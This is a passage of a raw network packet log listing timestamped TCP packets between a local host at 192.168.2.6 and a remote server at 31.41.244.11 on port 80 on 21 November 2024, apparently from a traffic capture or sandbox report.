Nov 21, 2024 14:11:12.470587969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.470604897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.470629930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.470649958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.471493006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.471544027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.471550941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.471586943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.471595049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.471628904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.472249031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.472282887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.472301006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.472320080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.472322941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.472363949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.472974062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.473026037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.473037958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.473059893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.473077059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.473119020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.473885059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.473937035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.473939896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.473972082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.473982096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.474035978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.474771023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.474822998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.474831104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.474860907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.474874020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.474915028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.475660086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.475712061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.475745916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.475766897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.475785971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.476553917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.476605892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.476605892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.476639986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.476654053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.476694107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.477442026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.477475882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.477498055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.477523088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.477526903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.477576017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.478322983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.478377104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.478378057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.478413105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.478421926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.478460073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.479197979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.479249954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.479262114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.479285002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.479321003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.479331970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.480098963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.480132103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.480166912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.480185986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.480209112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.480947018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.481007099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.481009007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.481044054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.481055021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.481091976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.481856108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.481906891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.481908083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.481942892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.481967926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.481987953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.482728958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.482781887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.482780933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.482820034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.482831001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.482862949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.483642101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.483692884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.483705997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.483726978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.483767986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.483794928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.484447956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.484499931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.484499931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.484534025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.484574080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.484601021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.485331059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.485383987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.485383987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.485419989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.485429049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.485460997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.486227036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.486279964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.486524105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.486574888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.486639023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.486674070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.486689091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.486717939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.487437963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.487489939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.487490892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.487524986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.487540007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.487576962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.488328934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.488382101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.488389969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.488415956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.488467932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.489166021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.489218950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.489223957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.489258051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.489279985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.489303112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.490035057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.490087986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.490111113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.490122080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.490134001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.490180969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.490881920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.490932941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.490936041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.490969896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.490983963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.491029024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.491794109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.491848946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.491849899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.491884947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.491895914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.491929054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.492677927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.492729902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.492732048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.492765903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.492772102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.492816925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.493530035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.493581057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.493608952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.493616104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.493645906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.493659019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.494431973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.494483948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.494486094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.494522095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.494534016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.494564056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.495270967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.495337009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.495343924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.495371103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.495378971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.495419025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.496186972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.496238947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.496244907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.496274948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.496330976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.497106075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.497139931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.497159004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.497174978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.497206926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.497217894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.497901917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.497952938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.670434952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.670478106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.670511961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.670648098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.670648098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.670794964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.670850992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.670852900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.670886040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.670893908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.671004057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.671632051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.671689987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.671725988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.671735048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.671780109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.672437906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.672492981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.672506094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.672528028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.672554016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.672564030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.673448086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.673500061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.673506975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.673535109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.673552990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.673588991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.674261093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.674334049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.674341917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.674369097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.674377918 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.674416065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.674988031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.675056934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.675069094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.675092936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.675111055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.675137043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.675834894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.675889015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.675923109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.675951958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.675975084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.676711082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.676764965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.676800013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.676822901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.676876068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.677580118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.677690983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.677690983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.677726984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.677773952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.678473949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.678527117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.678561926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.678617954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.679441929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.679475069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.679496050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.679511070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.679517031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.679563046 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.680242062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.680274963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.680310965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.680350065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.680375099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.681135893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.681189060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.681190014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.681222916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.681240082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.681291103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.682015896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.682077885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.682100058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.682135105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.682157993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.682178020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.682857037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.682909966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.682944059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.682984114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.683013916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.683959961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.684012890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.684029102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.684047937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.684098959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.684726000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.684778929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.684783936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.684813976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.685000896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.685487032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.685542107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.685559988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.685594082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.685607910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.685640097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.686368942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.686424017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.686449051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.686463118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.686464071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.686672926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.687370062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.687403917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.687426090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.687441111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.687459946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.687575102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.688127995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.688183069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.688218117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.688219070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.688231945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.688257933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.689040899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.689342976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.689393997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.689407110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.689429998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.689446926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.689472914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.690329075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.690382004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.690416098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.690474033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.690495968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.691030025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.691096067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.691153049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.691188097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.691236019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.691917896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.691971064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.691996098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.692006111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.692011118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.692146063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.692801952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.692856073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.692857027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.692889929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.692895889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.692940950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.693696022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.693752050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.693785906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.693803072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.693835974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.694570065 CET	80	49876	31.41.244.11	192.168.2.6
